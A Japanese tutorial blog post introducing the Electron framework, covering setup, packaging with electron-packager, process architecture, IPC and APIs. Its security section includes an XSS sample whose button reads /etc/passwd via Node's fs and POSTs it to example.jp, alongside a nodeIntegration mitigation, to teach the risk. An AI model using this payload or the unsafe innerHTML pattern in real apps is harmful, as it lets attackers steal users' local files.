Electronって?
・クロスプラットフォーム型の実行フレームワーク
👉 Mac、Windows、Linux上で動く
・Webの技術(HTML5やJavaScript)で作ったものをデスクトップアプリケーション化できる
・オープンソース、商用利用可能
・開発元はGitHub社
(もともとはAtomエディタのために作られた)
実用例
・Slack
・Atom
・Kobito
・Docker GUI
・Visual Studio Code (Microsoft)
使い方
$ npm i electron -g
$ electron
このウィンドウに以下のようなjsファイルをドラッグすることで簡単にElectronが起動する
const electron = require('electron');
const app = electron.app;
const BrowserWindow = electron.BrowserWindow;
let mainWindow = null;
app.on('ready', () => {
// mainWindowを作成(windowの大きさや、Kioskモードにするかどうかなどもここで定義できる)
mainWindow = new BrowserWindow({width: 400, height: 300});
// Electronに表示するhtmlを絶対パスで指定(相対パスだと動かない)
mainWindow.loadURL('file://' + __dirname + '/index.html');
// ChromiumのDevツールを開く
mainWindow.webContents.openDevTools();
mainWindow.on('closed', function() {
mainWindow = null;
});
});
main.jsと同じ階層にhtml配置
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello World!</title>
</head>
<body>
Hello World!
</body>
</html>
もちろん基本的にはドラッグせずに、以下のようにElectronを起動します
$ electron main.js
###️ パッケージングする
.exe化、.app化するためには、パッケージング処理が必要になります。
パッケージングするには「electron-packager」を使うと簡単にできます
※2018年現在は「electron builder」を使うのが主流になりました
参考) http://shibe97.hatenablog.com/entry/2017/02/17/090000
$ npm i electron-packager -g
パッケージングするには、以下のコマンドを実行します
$ electron-packager {ソースディレクトリ} {アプリ名} --platform={プラットフォーム} --arch={アーキテクチャ} --version (バージョン} [その他のオプション ...]
コマンド | 説明 |
---|---|
platform | all, linux, win32, darwin のいずれかを選択。「--all」は全部入りのパッケージング。 「darwin」はmacのこと。複数選択はカンマ区切りで指定可能。 |
arch | all, ia32, x64 のいずれかを選択(32bit or 64bit) |
version | Electronのバージョンを指定。(electron -vで確認) |
例)mac用にビルドするのであれば
$ electron-packager . electron-sample --platform=darwin --arch=x64 --version=1.2.5
※ MacでWindows用のElectronはパッケージングできないようになっています。
したい場合はwineをインストールする必要があります。
参考)「Mac環境でElectronのWindows用パッケージングをしたら大変だった話」
http://qiita.com/kimura_m_29/items/ee929cbd08daf744bffc
パッケージング後のファイル構成
Macの場合

Electronの仕組み
Electronは大きく分けて、以下の3つで構成されている
1. Chromium ・・・ ブラウザ
2. レンダラープロセス ・・・ ブラウザを制御するプロセス
3. メインプロセス・・・ウィンドウ全体を制御するプロセス

1. Chromiumとは?
Google Chromeのベースになったオープンソースウェブブラウザで、見た目はChromeとほぼ同じ。

ちなみに
Google Chromeは、Chromiumに以下の機能が加わったもの
・Flash Playerの同梱
・Chrome PDF Viewerの統合
・Googleの名称とそのブランドロゴ
・自動アップデート機能
・Googleへの利用状況やクラッシュレポート送信機能
・Googleの翻訳機能
・複数メディアファイル対応(H.264、AAC、MP3など)
Electron内部で html, javascript, css はこのChromiumによってレンダリングされる
2. レンダラープロセスとは?
Chromiumを制御するプロセス
3. メインプロセスとは?
ウィンドウを生成し、アプリ本体の制御(起動、終了、ウィンドウリサイズ、移動など)を行うプロセス
Node.jsのすべての機能が使えます ←これがすごく便利!
つまり、Node.jsがインストールされていないPCでもElectron(パッケージング後)を実行すると
Node.jsのすべての機能が使えます🙆
2つのプロセスを通信するにはどうするのか?
レンダラープロセスと、メインプロセスはそれぞれ独立したプロセスですが、
2つのプロセス間で通信を行うために 「IPC通信」 というのが用意されています
IPC通信(プロセス間通信)
IPC通信の実態はEventEmitterになっています
どちらかのプロセスでイベントが発火すると、もう一方のプロセスであらかじめバインディングされた処理が実行されます
// メインプロセス(受信側)
const {ipcMain} = require('electron') // ipc通信を読み込む
ipcMain.on('message', (event, arg) => { // イベントバインディング
console.log(arg) // prints "ping"
})
// レンダラプロセス(送信側)
const {ipcRenderer} = require('electron') // ipc通信を読み込む
ipcRenderer.sendSync('message', 'ping'); // 'message'というイベントを実行
Electronの良いところ・すごいところ✨
・ クロスプラットフォームを実現している
→ 1ソースで Mac, Windows, Linuxのアプリ開発ができる
・ 豊富なJavaScript資源を利用できる
( = Node.jsのすべての機能が使える )
・ ブラウザ依存を気にしなくて良い
・ APIが豊富である
APIはメインプロセス、レンダラプロセスにそれぞれたくさん用意されています
メインプロセスのAPI
-
app
→ アプリケーションの起動や終了などのライフサイクル管理用API
起動時に〜をする、終了時に〜をする、など -
autoUpdater
→ 自動更新検知、ダウンロード、アップデート機能。
リリース用サーバーを立てることで自動アップデートが可能になるまだ試せてはいないですが、主に3種類のアップデート用ツールがあるようです
- nuts: GitHubをバックエンドとして自動デプロイが可能 (Mac & Windows)
- electron-release-server: 完全な機能を備える、自己ホスト型のリリースサーバ
- squirrel-updates-server: squirrelを用いたシンプルなNode.jsサーバ
-
powerMonitor
→ バッテリが切れてサスペンド(スリープ)になった、システムを再開した、ACアダプターに切り変わったなどの検知が可能 -
Menu/MenuItem
→ Electronにメニューをつけることができる

レンダラープロセスのAPI
-
desktopCaptuer
→ 起動している別アプリのデスクトップキャプチャービデオを取得できる -
Webframe
→ inputやtextfieldに入力した文字に対してスペルチェックができる、アプリ全体のzoom機能
両方で使えるAPI
-
clipboard
→ クリップボードの中を取得、書き込みができる -
shell
→ デフォルトブラウザの起動、任意のフォルダーを開く、拡張子に紐付いた機能の実行、ファイルの削除等のデスクトップで普通に使える機能が使える
まだまだ他にたくさんAPIはあります
もっと詳しくはこちら → http://electron.atom.io/docs/api/
Electronの悪いところ😇
-
インタプリタ言語のため、ネイティブアプリに比べて速度が劣る
→ 大規模なアプリには向かないし、重くなる。実際Atomエディタも他と比べるとやや重い。 -
セキュリティ保護機能はない、XSS が発生しやすい
XSS(クロスサイトスクリプティング)とは?
他人のWebサイトへ、悪意のあるスクリプトを埋め込むこと
ElectronにおけるXSS
Node.jsのすべての機能やShellが使えるので、
- ローカルファイルの読み書きや他アプリへの干渉
- 任意プロセスの生成
- ローカル環境の把握
などが実行できてしまう
通常のWebブラウザであればブラウザを超えての処理はできないが、Electronではアプリを使っているユーザーの権限での任意の実行ができてしまう。
→ 例えば、ファイルを読み込んでinnerHTMLを使う場合
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello World!</title>
<script>
const fs = require('fs');
// sample.html をfs(OSが持っているファイル操作機能)で読み込む
fs.readFile ('sample.html', (err, data) => {
if (!err) {
document.getElementById('app').innerHTML = data; // XSS!!
}
});
</script>
</head>
<body>
<div id="app">app div</a>
</body>
</html>
hello! This is sample.html<br>
<!-- 悪意あるスクリプト -->
<button onClick="var s = require('fs').readFileSync( '/etc/passwd','utf-8' );
var x = new XMLHttpRequest();console.log(s);
x.open('POST', 'http://example.jp/', true );
x.send( s );">push me</button>
このようにローカルファイルを取得してどこかに送信することも可能になる
fsを使えばPC内のファイルをすべて削除することも可能
緩和策
レンダラープロセスでnode.jsのAPIを使えなくすることができる
node-integrationというプロパティを無効にする
mainWindow = new BrowserWindow({width: 800, height: 600,
webPreferences: { nodeIntegration : false }
});
ただし、node-integrationを再び有効にする方法やXSSパターンは他にもあるので、
Electronにおけるセキュリティ問題は課題になっている。
まずは、innerHTMLなど外部スクリプトが実行される状態になるべくしないことが大事。
他のXSSパターンなど詳しくはこちら
→ 「Electronの倒し方」 http://utf-8.jp/public/2016/0307/electron.pdf
Electronでハマるポイント
パッケージングに含まれるライブラリ
electron-packagerを使ってパッケージングしたときの話ですが、
package.jsonのdevDependencies内のライブラリは、
Electronのパッケージング時には含まれません。
dependencies内のライブラリのみ、パッケージングされます。
パッケージング後に使用するライブラリは
$ npm i hoge --save
としておく必要があります
起動に必要なファイル
WindowsとMac(Linux)でパッケージング後のファイル構成が全く異なり,
アプリの起動には本アプリ(.app, .exe)の他に生成されるファイルすべてが必要です
WindowsでElectronを開発するとき
Windows8.1でElectronをインストールするとき、以下が必要になります
Microsoft Visual Studio Express 2013
調べてみたところ、Electronをインストールする際に、「nslog」というライブラリをインストールしているようなのですが、
この「nslog」をインストールするときに、Visual Studioが必要になります。
※ Electron v1.0.2 で発生を確認
MacでWindows用にパッケージングする
基本的にはできないようになっています。
ただし、wineをインストールすれば可能です。
wineのインストールには30分ほどかかります。
→ 2019年11月現在、 electron-builder
に wine
が内包されていて wine
インストールが不要になりました!
$ brew install Caskroom/cask/xquartz
$ brew install wine
参考)「Mac環境でElectronのWindows用パッケージングをしたら大変だった話」
http://qiita.com/kimura_m_29/items/ee929cbd08daf744bffc
他の類似フレームワーク
NW.js https://nwjs.io/
参考
Electronの倒し方 http://utf-8.jp/public/2016/0307/electron.pdf
マルチプラットフォームで動く「Electron」は本当に使える技術なのか? https://codeiq.jp/magazine/2016/03/38961/